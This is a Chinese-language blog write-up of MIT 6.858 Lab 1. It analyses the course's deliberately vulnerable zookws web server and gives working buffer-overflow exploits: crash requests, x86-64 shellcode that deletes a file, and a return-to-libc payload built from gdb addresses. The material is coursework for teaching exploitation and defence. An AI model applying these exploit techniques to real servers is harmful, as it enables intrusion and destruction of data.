MIT6.858-计算机系统安全(一)

很久很久没写博客了,准确来说是变懒了,看到实验室同学都在开始准备工作的事情了,想想自己也该开始谋划基础学习了,之前学过一些简单的软件与系统安全的堆栈溢出,现在想通过MIT的计算机系统安全课程再较为深入学习一下。

实验一链接地址:6.858 / 2022年春季 (mit.edu)

进程地址空间:

一、查找缓冲区溢出

练习 1

1
研究 Web 服务器的 C 代码(在 `zookd.c` 和 `http.c` 中),并找到一个允许攻击者覆盖函数返回地址的代码示例。提示:查找堆栈上分配的缓冲。对于您的漏洞,请描述可能溢出的缓冲区,如何构建Web服务器的输入(即HTTP请求)以溢出缓冲区并覆盖返回地址,以及将触发缓冲区溢出的调用堆栈(即从`process_client`开始的函数调用链)。

zookd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
static void process_client(int);
static int run_server(const char *portstr);
static int start_server(const char *portstr);

int main(int argc, char **argv)
{
if (argc != 2)
errx(1, "Wrong arguments");

run_server(argv[1]);
}

/* socket-bind-listen idiom */

static int start_server(const char *portstr)
{
struct addrinfo hints = {0}, *res;
int sockfd;
int e, opt = 1;

hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;

if ((e = getaddrinfo(NULL, portstr, &hints, &res)))
errx(1, "getaddrinfo: %s", gai_strerror(e));
if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0)
err(1, "socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
err(1, "setsockopt");
if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0)
err(1, "fcntl");
if (bind(sockfd, res->ai_addr, res->ai_addrlen))
err(1, "bind");
if (listen(sockfd, 5))
err(1, "listen");
freeaddrinfo(res);

return sockfd;
}

static int run_server(const char *port) {
int sockfd = start_server(port);
for (;;)
{
int cltfd = accept(sockfd, NULL, NULL);
int pid;
int status;

if (cltfd < 0)
err(1, "accept");

/* fork a new process for each client process, because the process
* builds up state specific for a client (e.g. cookie and other
* enviroment variables that are set by request). We want to get rid off
* that state when we have processed the request and start the next
* request in a pristine state.
*/
switch ((pid = fork()))
{
case -1:
err(1, "fork");

case 0:
process_client(cltfd);
exit(0);
break;

default:
close(cltfd);
pid = wait(&status);
if (WIFSIGNALED(status)) {
printf("Child process %d terminated incorrectly, receiving signal %d\n",
pid, WTERMSIG(status));
}
break;
}
}
}

static void process_client(int fd)
{
static char env[8192]; /* static variables are not on the stack */
static size_t env_len = 8192;
char reqpath[4096];
const char *errmsg;

/* get the request line */
if ((errmsg = http_request_line(fd, reqpath, env, &env_len)))
return http_err(fd, 500, "http_request_line: %s", errmsg);

env_deserialize(env, sizeof(env));

/* get all headers */
if ((errmsg = http_request_headers(fd)))
http_err(fd, 500, "http_request_headers: %s", errmsg);
else
http_serve(fd, getenv("REQUEST_URI"));

close(fd);
}

void accidentally(void)
{
__asm__("mov 16(%%rbp), %%rdi": : :"rdi");
}

看一下源代码,我们可以知道process_client是入口函数,这里定义了两个数组,env和reqpath,注释信息提示我们env是静态变量不在栈上存储,因此我们后面分析可以针对reqpath这个数组,观察其是否可以构造出溢出。继续跟进,我们看到这个数组被传入http_request_line(),我们进入这个函数

http.c (部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192

int http_read_line(int fd, char *buf, size_t size)
{
size_t i = 0;

for (;;)
{
int cc = read(fd, &buf[i], 1);
if (cc <= 0)
break;

if (buf[i] == '\r')
{
buf[i] = '\0'; /* skip */
continue;
}

if (buf[i] == '\n')
{
buf[i] = '\0';
return 0;
}

if (i >= size - 1)
{
buf[i] = '\0';
return 0;
}

i++;
}

return -1;
}

const char *http_request_line(int fd, char *reqpath, char *env, size_t *env_len)
{
static char buf[8192]; /* static variables are not on the stack */
char *sp1, *sp2, *qp, *envp = env;

/* For lab 2: don't remove this line. */
touch("http_request_line");

if (http_read_line(fd, buf, sizeof(buf)) < 0)
return "Socket IO error";

/* Parse request like "GET /foo.html HTTP/1.0" */
sp1 = strchr(buf, ' ');
if (!sp1)
return "Cannot parse HTTP request (1)";
*sp1 = '\0';
sp1++;
if (*sp1 != '/')
return "Bad request path";

sp2 = strchr(sp1, ' ');
if (!sp2)
return "Cannot parse HTTP request (2)";
*sp2 = '\0';
sp2++;

/* We only support GET and POST requests */
if (strcmp(buf, "GET") && strcmp(buf, "POST"))
return "Unsupported request (not GET or POST)";

envp += sprintf(envp, "REQUEST_METHOD=%s", buf) + 1;
envp += sprintf(envp, "SERVER_PROTOCOL=%s", sp2) + 1;

/* parse out query string, e.g. "foo.py?user=bob" */
if ((qp = strchr(sp1, '?')))
{
*qp = '\0';
envp += sprintf(envp, "QUERY_STRING=%s", qp + 1) + 1;
}

/* decode URL escape sequences in the requested path into reqpath */
url_decode(reqpath, sp1);

envp += sprintf(envp, "REQUEST_URI=%s", reqpath) + 1;

envp += sprintf(envp, "SERVER_NAME=zoobar.org") + 1;

*envp = 0;
*env_len = envp - env + 1;
return NULL;
}

const char *http_request_headers(int fd)
{
static char buf[8192]; /* static variables are not on the stack */
int i;
char value[512];
char envvar[512];

/* For lab 2: don't remove this line. */
touch("http_request_headers");

/* Now parse HTTP headers */
for (;;)
{
if (http_read_line(fd, buf, sizeof(buf)) < 0)
return "Socket IO error";

if (buf[0] == '\0') /* end of headers */
break;

/* Parse things like "Cookie: foo bar" */
char *sp = strchr(buf, ' ');
if (!sp)
return "Header parse error (1)";
*sp = '\0';
sp++;

/* Strip off the colon, making sure it's there */
if (strlen(buf) == 0)
return "Header parse error (2)";

char *colon = &buf[strlen(buf) - 1];
if (*colon != ':')
return "Header parse error (3)";
*colon = '\0';

/* Set the header name to uppercase and replace hyphens with underscores */
for (i = 0; i < strlen(buf); i++) {
buf[i] = toupper(buf[i]);
if (buf[i] == '-')
buf[i] = '_';
}

/* Decode URL escape sequences in the value */
url_decode(value, sp);

/* Store header in env. variable for application code */
/* Some special headers don't use the HTTP_ prefix. */
if (strcmp(buf, "CONTENT_TYPE") != 0 &&
strcmp(buf, "CONTENT_LENGTH") != 0) {
sprintf(envvar, "HTTP_%s", buf);
setenv(envvar, value, 1);
} else {
setenv(buf, value, 1);
}
}

return 0;
}

......

void url_decode(char *dst, const char *src)
{
for (;;)
{
if (src[0] == '%' && src[1] && src[2])
{
char hexbuf[3];
hexbuf[0] = src[1];
hexbuf[1] = src[2];
hexbuf[2] = '\0';

*dst = strtol(&hexbuf[0], 0, 16);
src += 3;
}
else if (src[0] == '+')
{
*dst = ' ';
src++;
}
else
{
*dst = *src;
src++;

if (*dst == '\0')
break;
}

dst++;
}
}
......
void fdprintf(int fd, char *fmt, ...)
{
char *s = 0;

va_list ap;
va_start(ap, fmt);
vasprintf(&s, fmt, ap);
va_end(ap);

write(fd, s, strlen(s));
free(s);
}

我们可以看到参数被转递到了url_decode(reqpath, sp1),看注释我们就可以了解,这是想对输入的请求的path进行url解码,我们继续进入url_decode函数,可以看到这个函数进行了url解码,但是问题是并没有判断复制的长度,它会将sp1中所有的内容解码后放入reqpath,直到遇到’\0’结尾为止。那么问题来了,回到http_request_line(int fd, char *reqpath, char *env, size_t *env_len)函数,buf的最大长度为8192,而之前定义的reqpath的最长长度为4096,因此,我们可以构造一个大于4096,小于8192的请求头(准确来说是头部第一行长度小于8192,但是请求的地址大于4096)。

随后继续查看其余的可能有溢出的位置,我们通过process_client可以继续往下看,有一个http_request_headers函数,进入这个函数内部,发现它定义了三个数组,buf是静态数组,长度8192,我们不考虑,因此我们看存储在栈上的两个数组value和envvar。我们阅读这个函数可以看出来,这个函数作用是解析HTTP请求的头部信息。往后看又看到了熟悉的不安全函数url_decode(),并且该函数使用了value作为参数,那么这里和上面一样,我们只需要构造一个头部的键值对,使得该键对应的值大于value的长度512,同时保证该键值对的总长度小于8192即可。

练习 2

1
编写一个利用缓冲区溢出使 Web 服务器(或其创建的进程之一)崩溃的攻击。此时不需要注入代码。通过使用 gdb检查下面的最后几行来验证您的漏洞是否使服务器崩溃  `dmesg | tail`, 或观察 Web 服务器崩溃。

1.利用reqpath溢出

根据给出的一个exploit-template.py模板去编写EXP,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

req = b"GET /"
for i in range(0,8000):
req += b"A"
req += b" HTTP/1.0\r\n\r\n"
return req

我们构造了一个长度为8000的请求地址,然后开启服务后执行这个EXP,我们就可以看到zookd服务报了一个错误,Child process 1849 terminated incorrectly, receiving signal 11,说明子进程异常终止,我们触发了栈溢出。也可以直接使用make check-crash进行测试。

2.利用value溢出

同理,根据前面分析的漏洞原理,我们只需要构造一个头部的键值对,保证值value大于512小于8192。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

req = b"GET / HTTP/1.0\r\n"
req += b"EXP: "
for i in range(0,8000):
req += b"A"
req += b"r\n"
return req

注意键值之间需要有英文冒号和空格。验证过程同上,也会导致子进程异常。

二、代码注入

练习3

1
修改shellcode.S,解链接/home/student/grades.txt。 程序集代码可以调用SYS_unlink系统调用,也可以调用unlink()库函数。 

我们使用系统调用unlink,具体调用方式如下:

1
2
3
argv = {"/usr/bin/unlink", "/home/student/grades.txt", NULL};
envp = {0};
execve("/usr/bin/unlink", argv, envp);

我们要将C代码写成汇编的形式,为了避免高级语言编译时由于编译器的原因导致地址的变化等情况:

x86汇编有两种书写形式,分别为Intel和AT&T。区别在于AT&T寄存器前有%标识,且源地址在前,目的地址在后(mov src dst),Intel与之相反,目的地址在前,源地址在后(mov dst src),并且没有%标识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <sys/syscall.h>

#define STRING "/usr/bin/unlink_/home/student/grades.txt_"
#define STRLEN 41
#define ARGV (STRLEN+1)
#define ARGVONE (ARGV+8)
#define ARGVTWO (ARGV+16)
#define ENVP (ARGV+24)

.globl main
.type main, @function

main:
jmp calladdr

popladdr:
popq %rcx
movq %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */
leaq (16)(%rcx), %rax /* get argv1 addr */
movq %rax, (ARGVONE)(%rcx) /* write argv1 addr */
xorq %rax, %rax /* get a 64-bit zero value */
movq %rax, (ARGVTWO)(%rcx) /* argv2 is null */
movq %rax,(ENVP)(%rcx) /* set up null envp */
movb %al,(15)(%rcx) /* _ to 0 */
movb %al,(STRLEN - 1)(%rcx) /* null-terminate our string */

movb $SYS_execve,%al /* set up the syscall number */
movq %rcx,%rdi /* syscall arg 1: string pathname */
leaq ARGV(%rcx),%rsi /* syscall arg 2: argv */
leaq ENVP(%rcx),%rdx /* syscall arg 3: envp */
syscall /* invoke syscall */

xorq %rax,%rax /* get a 64-bit zero value */
movb $SYS_exit,%al /* set up the syscall number */
xorq %rdi,%rdi /* syscall arg 1: 0 */
syscall /* invoke syscall */

calladdr:
call popladdr
.ascii STRING

AT&T方式寻址模式:

上面的汇编代码使用make编译之后就可以使用./run-shellcode shellcode.bin,然后检查~/grades.txt是否被删除,如果被删除就可以进行下面的工作了。

练习4

1
2
3
4
构造一个劫持web服务器的控制流并解除/home/student/grades.txt链接的漏洞。 将此漏洞利用保存在一个名为exploit-4.py的文件中。 
建议:首先关注获取程序计数器的控制权。 勾画出在缓冲区溢出时希望程序拥有的堆栈布局,并使用gdb来验证溢出数据是否到达了预期的位置。 逐步执行函数到返回指令,以确保您可以控制程序返回的地址。 接下来,gdb中的stepi和x命令应该是有用的。
一旦你可以可靠地劫持程序的控制流,找到一个合适的地址,其中将包含你想要执行的代码,并专注于将正确的代码放在该地址——例如。 所提供的shell代码的派生。

使用GDB寻找相应地址

1.在zookd.c:113位置下一个断点,使用命令b zookd.c:113即可,随后c继续执行,运行到断点之后会自动停止,此时使用disas查看附近代码段的地址信息如下:

1
2
3
4
5
6
7
8
9
   0x0000555555556b14 <+132>:	mov    %rax,%rdi
0x0000555555556b17 <+135>: call 0x555555557efa <env_deserialize>
=> 0x0000555555556b1c <+140>: mov -0x1014(%rbp),%eax
0x0000555555556b22 <+146>: mov %eax,%edi
0x0000555555556b24 <+148>: call 0x555555556f35 <http_request_headers>
0x0000555555556b29 <+153>: mov %rax,-0x8(%rbp)
0x0000555555556b2d <+157>: cmpq $0x0,-0x8(%rbp)
0x0000555555556b32 <+162>: je 0x555555556b5b <process_client+203>

我们可以看到我们需要利用的函数http_request_headers的返回地址为它的下一行的地址: 0x0000555555556b29。随后我们进入这个函数,在http.c:173下一个断点,继续执行到这个断点,我们再次打印附近的代码信息:

1
2
3
4
5
6
7
   0x0000555555557149 <+532>:	call   0x555555556400 <setenv@plt>
0x000055555555714e <+537>: jmp 0x555555556f5a <http_request_headers+37>
0x0000555555557153 <+542>: nop
0x0000555555557154 <+543>: mov $0x0,%eax
0x0000555555557159 <+548>: mov -0x8(%rbp),%rbx
0x000055555555715d <+552>: leave
=> 0x000055555555715e <+553>: ret

此时已经执行到函数的返回,查看此时的rsp的地址,我们就可以看到在0x7fffffffdc88处存储的就是该函数的返回地址,那么我们就可以确定返回地址在栈上的位置为0x7fffffffdc88。

1
2
3
4
5
(gdb) p $rsp
$1 = (void *) 0x7fffffffdc88
(gdb) x/8x $rsp
0x7fffffffdc88: 0x55556b29 0x00005555 0x00000002 0x00000006
0x7fffffffdc98: 0x00216bc0 0x00000004 0x0021002f 0x00000000

那么我们现在只需要查看一下value数组所在的地址即可进行后面的构造,打印一下它的位置,为0x7fffffffda50,调试的准备工作就到此结束。

1
2
(gdb) p &value
$2 = (char (*)[512]) 0x7fffffffda50

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
## You might find it useful to define variables that store various
## stack or function addresses from the zookd / zookfs processes,
## which you can then use in build_exploit(); the following are just
## examples.

stack_buffer = 0x7fffffffda50
stack_retaddr = 0x7fffffffdc88

## This is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the zookws web server and exploit it.

def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()

req = b"GET / HTTP/1.0\r\n"
req += b"EXP: "
req += shellcode + b"A" * ((stack_retaddr - stack_buffer) - len(shellcode))
req += struct.pack('<Q', stack_buffer)

req += b"\r\n"
return req

这里的shellcode就是我们练习三中编译的用于删除txt文件的汇编代码。我们只需要把返回地址和注入数组之间的空余用一些无用的信息填充即可,这里我们用的是“A”,然后由于我们先向value填充的就是shellcode,因此最后将value这个数组的地址去替换原本的返回地址即可,当该函数返回时会指向shellcode的地址运行shellcode的代码。

最后运行一下make check-exstack,发现我们可以pass。

三、Return-to-libc攻击

许多现代操作系统将堆栈标记为不可执行,以使利用缓冲区溢出变得更加困难。 在本部分中,您将探索如何规避这种保护机制。

前面的实验都是运行的可执行堆栈,后面就要使用./clean-env.sh ./zookd-nxstack 8080运行不可执行堆栈的版本了。

利用非可执行堆栈的缓冲区溢出的关键观察是,在ret指令跳到您放置在堆栈上的地址之后,您仍然控制程序计数器。 即使您不能跳转到溢出缓冲区的地址(它将不是可执行的),在脆弱服务器的地址空间中通常有足够的代码来执行您想要的操作。

因此,要绕过不可执行的堆栈,您需要首先找到想要执行的代码。 这通常是标准库中的一个名为libc的函数,例如execve、system或unlink。 然后,您需要安排堆栈和寄存器处于与使用所需参数调用该函数一致的状态。 最后,您需要安排ret指令跳转到您在第一步中找到的函数。 这种攻击通常被称为Return-to-libc攻击。

练习5

1
2
3
4
5
构造一个在具有不可执行堆栈的二进制文件上运行时解除/home/student/grades.txt链接的exploit。将这个新漏洞命名为exploit-5.py。
在这种攻击中,您将通过网络控制服务器,而无需向服务器注入任何代码。 您应该使用return-to-libc攻击,将控制流重定向到攻击之前已经存在的代码。 攻击的要点是执行缓冲区溢出:
1.使所选libc函数的参数位于堆栈上
2.然后意外地导致运行,使该参数以%rdi结束
3.然后意外地导致返回到所选的libc函数

思路大概就是我们要通过缓冲区溢出,使得返回地址跳转到unlink执行,并且合理的把参数放到%rdi上面去,因此我们可以利用实验中给出的提示信息,就是accidentally函数,去利用%rbp将%rdi的值置为参数字符串的地址。

首先我们看一下这个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
(gdb) disas accidentally
Dump of assembler code for function accidentally:
0x0000555555556b8c <+0>: endbr64
0x0000555555556b90 <+4>: push %rbp
0x0000555555556b91 <+5>: mov %rsp,%rbp
=> 0x0000555555556b94 <+8>: mov 0x10(%rbp),%rdi
0x0000555555556b98 <+12>: nop
0x0000555555556b99 <+13>: pop %rbp
0x0000555555556b9a <+14>: ret
End of assembler dump.

可以看到这个函数把%rbp+16位置的值放入了%rdi,而这里的%rbp在前一行被%rsp的值所覆盖,所以其实要存放的目标地址就是栈顶指针%rsp+16的位置,由于%rsp是从http_request_headers里return来的,所以根据函数返回调用的栈帧运作情况我们可以推算出来这里的%rsp相当于http_request_headers中的%rbp+8(弹出了返回地址),那么accidentally中的%rsp+16就相当于http_request_headers中的%rbp+24了。因此我们只需要在http_request_headers中的%rbp+24位置放入参数字符串的地址即可,参数字符串放在%rbp+32

执行到http_request_headers最后一行下断点,我们可以如下打印出%rbp的值:

1
2
(gdb) p $rbp
$2 = (void *) 0x7fffffffdc80

然后我们可以尝试打印出libc库中unlink函数的位置:

1
2
(gdb) p unlink
$4 = {<text variable, no debug info>} 0x1555554011c0 <unlink>

因此我们就可以根据以上信息构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
------------------------------------------------------------------------------------------------------------
...... | ...... |
0x7fffffffdca0 | file path string | <- "/home/student/grades.txt"
0x7fffffffdc98 | string addr | <- 0x7fffffffdca0 & $rdi
------------------------------------------------------------------------------------------------------------
0x7fffffffdc90 | ret addr | <- addr of unlink() stack frame of "accidentally"
------------------------------------------------------------------------------------------------------------
0x7fffffffdc88 | ret addr | <- addr of accidentally() stack frame of "process_client"
0x7fffffffdc80 | preserved rbp | <- 0x7fffffffdc90
...... | ...... |
0x7fffffffda50 | char[] value | <- filled with char 'A'
------------------------------------------------------------------------------------------------------- %rsp

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
stack_buffer = 0x7fffffffda50
stack_retaddr = 0x7fffffffdc88
libc_retaddr = 0x555555556b8c
unlink_addr = 0x1555554011c0
filename_addr = 0x7fffffffdca0


def urlencode(b):
r = b""
for c in b:
r += b"%"+c.to_bytes(1,"little").hex().encode()
return r
## This is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the zookws web server and exploit it.

def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

filename = b"/home/student/grades.txt"+b"\0"

req = b"GET / HTTP/1.0\r\n" #+ \
#b"\r\n"
payload = b""
req += b"EXP: "
req += b"A" * ((stack_retaddr - stack_buffer)-8) #junk
payload += struct.pack('<Q', 0x7fffffffdc90)
payload += struct.pack('<Q', libc_retaddr) # return adress
payload += struct.pack('<Q', unlink_addr)
payload += struct.pack('<Q', filename_addr)


req += urlencode(payload)
req += filename
req += b"\r\n"
req += b"\r\n"
return req


MIT6.858-计算机系统安全(一)
https://chujian521.github.io/blog/2022/06/10/MIT6-858-计算机系统安全(一)/
作者
Encounter
发布于
2022年6月10日
许可协议